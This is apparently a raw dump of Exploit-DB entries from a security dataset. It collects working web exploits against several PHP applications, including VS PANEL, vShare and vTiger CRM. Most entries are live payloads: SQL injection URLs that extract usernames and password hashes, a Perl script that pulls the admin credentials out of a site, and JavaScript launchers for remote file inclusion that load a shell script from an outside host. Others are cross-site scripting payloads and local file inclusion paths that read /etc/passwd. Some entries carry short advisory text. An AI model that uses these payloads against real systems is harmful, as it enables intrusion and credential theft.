deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9267
Description: VS PANEL 7.5.5 - 'Cat_ID' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-27
Author: octopos

Exploit:
#################### Infos ########################################
# [Re]Found : Otavio Augusto a.k.a octopos ( octopos8?gmail.com ) #
# Product: VS PANEL v.7.5.5   (Patched?)                          #
# Homepage: http://www.vspanel.gr/                                #
###################################################################

############################################################
# Bug Original posted in http://milw0rm.com/exploits/9171  #
# Appears that VS PANELS V7.5.5 was "corrected" the bug    #
# changing the number of columns to 26... Oo               #                                                                                              
############################################################

############################################## SQL Injection #################################################################################
#  site/path/results.php?Cat_ID=null+union+all+select+1,version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--    #
##############################################################################################################################################


############################################### Demo ###################################################################################################
# http://www.vspanel.gr/results.php?Cat_ID=null++union+all+select+1,version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--  #
########################################################################################################################################################

# milw0rm.com [2009-07-27]
Exploit-DB #9171
Description: VS PANEL 7.5.5 - 'results.php?Cat_ID' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-16
Author: C0D3R-Dz

Exploit:
  ####################################
  # Homepage: http://www.vspanel.gr/ #
  # Product: VS PANEL v.7.5.5        #
  # DeScOvRed By:C0D3R-Dz            #
  # File: results.php                #
  # ContACt:cD_@LinUxmAIL.OrG        #
  # Dork: "Powered by VS PANEL 7.5.5"#
  ###################################
################################### SQL Injection#####################################
# results.php?Cat_ID=-6+union+select+1,concat(username,0x3a,password),3,4+from+Users--#
#######################################################################################


################################### DeMo ############################################################
#www.vspanel.gr/results.php?Cat_ID=-6+union+select+1,concat(username,0x3a,password),3,4+from+Users--#
#####################################################################################################


#########################################
#Greetz to:His0K4-HouSsem_PHp-HacKdZ    #
#                 IncluDeR              #
######################################### 

# milw0rm.com [2009-07-16]
Exploit-DB #3323
Description: VS-Link-Partner 2.1 - 'script_pfad' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-16
Author: ajann

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>VS-Link-Partner <= 2.1 (script_pfad) Remote File Include Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: VS-Link-Partner <= 2.1 (script_pfad) Remote File Include Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[S.Page     : http://www.virtualsystem.de/
//'[$$         : Free
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//'[[ERROR]]]------------------------------------------------------
//'....
//'..
//'<?
//'
//'include ($gb_pfad ."/language/german.php");
//'
//'?>
//'....
//'..
//'[[ERROR]]]---------------------------------------------------------

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/inc/"
   var adres="/functions_inc.php?" //File name
   var acik ="gb_pfad=" // Line x
   var shell="http://www.ehcbinningen.ch/komutverivee.txt?" // Shell Script
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">VS-Link-Partner <= 2.1 (script_pfad) Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-02-16]
Exploit-DB #3322
Description: VS-News-System 1.2.1 - 'newsordner' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-16
Author: ajann

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>VS-News-System <= V1.2.1 (newsordner) Remote File Include Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: VS-News-System <= V1.2.1 (newsordner) Remote File Include Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[S.Page     : http://www.virtualsystem.de/
//'[$$         : Free
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//'[[ERROR]]]------------------------------------------------------
//'....
//'..
//'<?
//'
//'include ($gb_pfad ."/language/german.php");
//'
//'?>
//'....
//'..
//'[[ERROR]]]---------------------------------------------------------

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/"
   var adres="/show_news_inc.php?" //File name
   var acik ="newsordner=" // Line x
   var shell="http://www.ehcbinningen.ch/komutverivee.txt?" // Shell Script
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">VS-News-System <= V1.2.1 (newsordner) Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-02-16]
Exploit-DB #5565
Description: vShare YouTube Clone 2.6 - 'tid' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-08
Author: Saime

Exploit:
#!/usr/bin/perl
# Coded by: Saime
# vShare Youtube Clone v2.6 (group_posts.php tid) Remote SQL Injection
# Author: Saime
# URL: http://www.buyscripts.in
# Price: $10.00
# Date: 8/05/2008
# Greetz: BaKo,DrWh4x,optiplex,xprog,cam-man-dan,Tulle,t0pP8uZz,Inspiratio,Novalok,illuz1oN,Untamed and everyone else I forgot!
# Site: http://h4ck-y0u.org
use LWP;

$site = @ARGV[0];
$ua = LWP::UserAgent->new;

my $injection = 'group_posts.php?tid=1+union+select+1,2,3,4,concat(username,0x3a,email,0x3a,pwd),6,7+from+signup+limit+0,1--';
if (@ARGV < 1) {&usage;}
else { &exploit( ) }

sub exploit ( ) {
print "[+] Exploiting...\n";
$passres = $ua->get("http://$site/$injection");
$exploitcon = $passres->content;
if ($exploitcon =~ m/<b>Topic:<\/b>(.*)<b>(.*):(.*):([a-f0-9]{32})<\/b><br \/>/gmi){
$pass = $4;
$admin = $2;
$email = $3;
print "[+] Admin Password: $pass\n";
print "[+] Admin Username: $admin\n";
print "[+] Admin Email: $email\n";
}
 else {
      print "[-] Unable To Get The Password...\n";
      exit(0);
  }
}
sub usage ( )
{
print "Usage: ./vshare.pl [host]\n";
print "Example: ./vshare.pl www.site.com\n";
exit(0);
}

# milw0rm.com [2008-05-08]
Exploit-DB #22168
Description: vSignup 2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2003-01-14
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6606/info

A vulnerability has been discovered in vSignup. It has been reported that various PHP scripts used by vAuthenticate are prone to SQL injection attacks. This issue may be exploited by an unauthorized attacker to view protected web pages.

An attacker that is able to access protected web pages may gain sensitive information that may aid in launching further attacks against a target server.

http://www.example.org/chgpwd.php?USERNAME=[username]&[CREDENTIAL_REDACTED]''='
http://www.example.org/admin/index.php?USERNAME='%20OR%20''='&[CREDENTIAL_REDACTED]=1%20AND%20level='1
Exploit-DB #8331
Description: vsp stats processor 0.45 - 'gamestat.php?gameID' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-31
Author: Dimi4

Exploit:
########################################
#                                         #
# Product : vsp stats processor           #
# Version : all                           #
# Dork : "powered by vsp stats processor" #
# Site: http://www.scivox.net/vsp/        #
# Found by: Dimi4                         #
# Date : 31.03.09                         #
# Greetz: antichat                        #
#                                         #
########################################

SQL-injection
[+] URL: http://target.com/vsp-core/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x203a20,user(),database(),version()),2/*&config=cfg-default.php
[+] Output: <option> {DATA} </option>

Bug Function: (vsp-core\pub\themes\bismarck\gamestat.php 540-558 lines)

 function getStatsGame()
{
  global $db;
  global $ggame;
  $sql = "select name, value
            from {$GLOBALS['cfg']['db']['table_prefix']}gamedata
            where gameID=$GLOBALS[gameID]
         ";

  //echo $sql;
  $rs = $db->Execute($sql);

.....
}


(c) Dimi4, 2009 greetz to antichat

# milw0rm.com [2009-03-31]
Exploit-DB #26586
Description: vTiger CRM 4.2 - SQL Injection
Type: webapps
Platform: php
Date: 2005-11-24
Author: Christopher Kunz

Exploit:
source: https://www.securityfocus.com/bid/15562/info
  
vtiger CRM is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
vTiger CRM is prone to multiple SQL injection, HTML injection, cross-site scripting and local file include vulnerabilities.
  
An attacker can exploit these issues to gain administrative access, retrieve username and password pairs, steal cookie-based authentication credentials and retrieve arbitrary local files in the context of the Web server process; other attacks are also possible.
  
Some of these issues may be related to those discussed in BID 11740 (SugarCRM Multiple Input Validation Vulnerabilities) discovered by James Bercegay and Damon Wood of the GulfTech Security Research Team, as vtiger is a fork of the SugarCRM project.
  
An independent study by Daniel Fabian of SEC-CONSULT has confirmed the existence of several of these issues. Please see the referenced advisory for more information. 

http://www.example.com/?ticket_title=&contact_name=&priority=&status=&action=index&query=true&module=HelpDesk&order_by=&sorder=ASC&viewname=0&button=Search&category=&date_crit=is&date=%27+UNION+SELECT+56%2CCONCAT%28user_name%2C+%22%3A%22%2C+user_password%29%2C+%22Open%22%2C%22Normal%22%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1+from+users+where+users.user_name+LIKE+%27
Exploit-DB #26584
Description: vTiger CRM 4.2 Leads Module - 'record' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-24
Author: Christopher Kunz

Exploit:
source: https://www.securityfocus.com/bid/15562/info

vtiger CRM is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

vTiger CRM is prone to multiple SQL injection, HTML injection, cross-site scripting and local file include vulnerabilities.

An attacker can exploit these issues to gain administrative access, retrieve username and password pairs, steal cookie-based authentication credentials and retrieve arbitrary local files in the context of the Web server process; other attacks are also possible.

Some of these issues may be related to those discussed in BID 11740 (SugarCRM Multiple Input Validation Vulnerabilities) discovered by James Bercegay and Damon Wood of the GulfTech Security Research Team, as vtiger is a fork of the SugarCRM project.

An independent study by Daniel Fabian of SEC-CONSULT has confirmed the existence of several of these issues. Please see the referenced advisory for more information. 

http://www.example.com/index.php?action=DetailView&module=Leads&record=%3Cscript%3Ealert('document.cookie')%3C/script%3E
Exploit-DB #26585
Description: vTiger CRM 4.2 RSS Aggregation Module - Feed Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-24
Author: Christopher Kunz

Exploit:
source: https://www.securityfocus.com/bid/15562/info
 
vtiger CRM is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
vTiger CRM is prone to multiple SQL injection, HTML injection, cross-site scripting and local file include vulnerabilities.
 
An attacker can exploit these issues to gain administrative access, retrieve username and password pairs, steal cookie-based authentication credentials and retrieve arbitrary local files in the context of the Web server process; other attacks are also possible.
 
Some of these issues may be related to those discussed in BID 11740 (SugarCRM Multiple Input Validation Vulnerabilities) discovered by James Bercegay and Damon Wood of the GulfTech Security Research Team, as vtiger is a fork of the SugarCRM project.
 
An independent study by Daniel Fabian of SEC-CONSULT has confirmed the existence of several of these issues. Please see the referenced advisory for more information. 

http://www.example.com/index.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E/?[params]
Exploit-DB #32307
Description: vTiger CRM 5.0.4 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-09-01
Author: Fabian Fingerle

Exploit:
source: https://www.securityfocus.com/bid/30951/info

vtiger CRM is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

vtiger CRM 5.0.4 is vulnerable; other versions may also be affected.

http://www.example.com/vtigercrm/index.php?module=Products&action=index&parenttab="><script>alert(1);</script>
http://www.example.com/vtigercrm/index.php?module=Users&action=Authenticate&user_password="><script>alert(1);</script>
http://www.example.com/vtigercrm/index.php?module=Home&action=UnifiedSearch&query_string="><script>alert(1);</script>
Exploit-DB #18770
Description: vTiger CRM 5.1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2012-04-22
Author: Pi3rrot

Exploit:
# Exploit Title: VTiger CRM
# Google Dork: None
# Date: 20/03/2012
# Author: Pi3rrot
# Software Link: http://sourceforge.net/projects/vtigercrm/files/vtiger%20CRM%205.1.0/
# Version: 5.1.0
# Tested on: CentOS 6
# CVE : none

We have find this vulnerabilitie in VTiger 5.1.0
In this example, you can see a Local file Inclusion in the file sortfieldsjson.php

Try this :
https://localhost/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/passwd%00
Exploit-DB #36208
Description: vTiger CRM 5.2 - 'onlyforuser' SQL Injection
Type: webapps
Platform: php
Date: 2011-10-15
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/49948/info

vtiger CRM is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

vtiger CRM 5.2.1 is vulnerable; prior versions may also be affected.

http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+1%3d1--

http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+1%3d2--

http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+@@version%3d5--

http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+@@version%3d4--
Exploit-DB #36255
Description: vTiger CRM 5.2.1 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities (2)
Type: webapps
Platform: php
Date: 2011-10-26
Author: LiquidWorm

Exploit:
source: https://www.securityfocus.com/bid/50364/info

vtiger CRM is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

vtiger CRM 5.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/modules/mobile/index.php?_operation="><script>alert(1)</script>
http://www.example.com/modules/mobile/index.php?_operation=listModuleRecords&module=Services&search="><script>alert(1)</script>
Exploit-DB #36204
Description: vTiger CRM 5.2.1 - 'PHPrint.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-10-04
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/49927/info
 
vtiger CRM is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
vtiger CRM 5.2.1 is vulnerable; other versions may also be affected. 

/phprint.php?module=Home&action=--><script>alert(/xss/)</script>&parenttab=MyHome Page"><script>alert(0)</script>&jt=

/phprint.php?module=--><script>alert(/xss/)</script>&action=index&parenttab=My%20Home%20Page&jt=
Exploit-DB #35574
Description: vTiger CRM 5.2.1 - 'sortfieldsjson.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2011-04-08
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/47263/info

vtiger CRM is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

vtiger CRM 5.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00
Exploit-DB #35577
Description: vTiger CRM 5.2.1 - 'vtigerservice.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-07
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47267/info

vtiger CRM is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

vtiger CRM 5.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/vtigercrm/vtigerservice.php?service=%3Cscript%3Ealert%280%29%3C/script%3E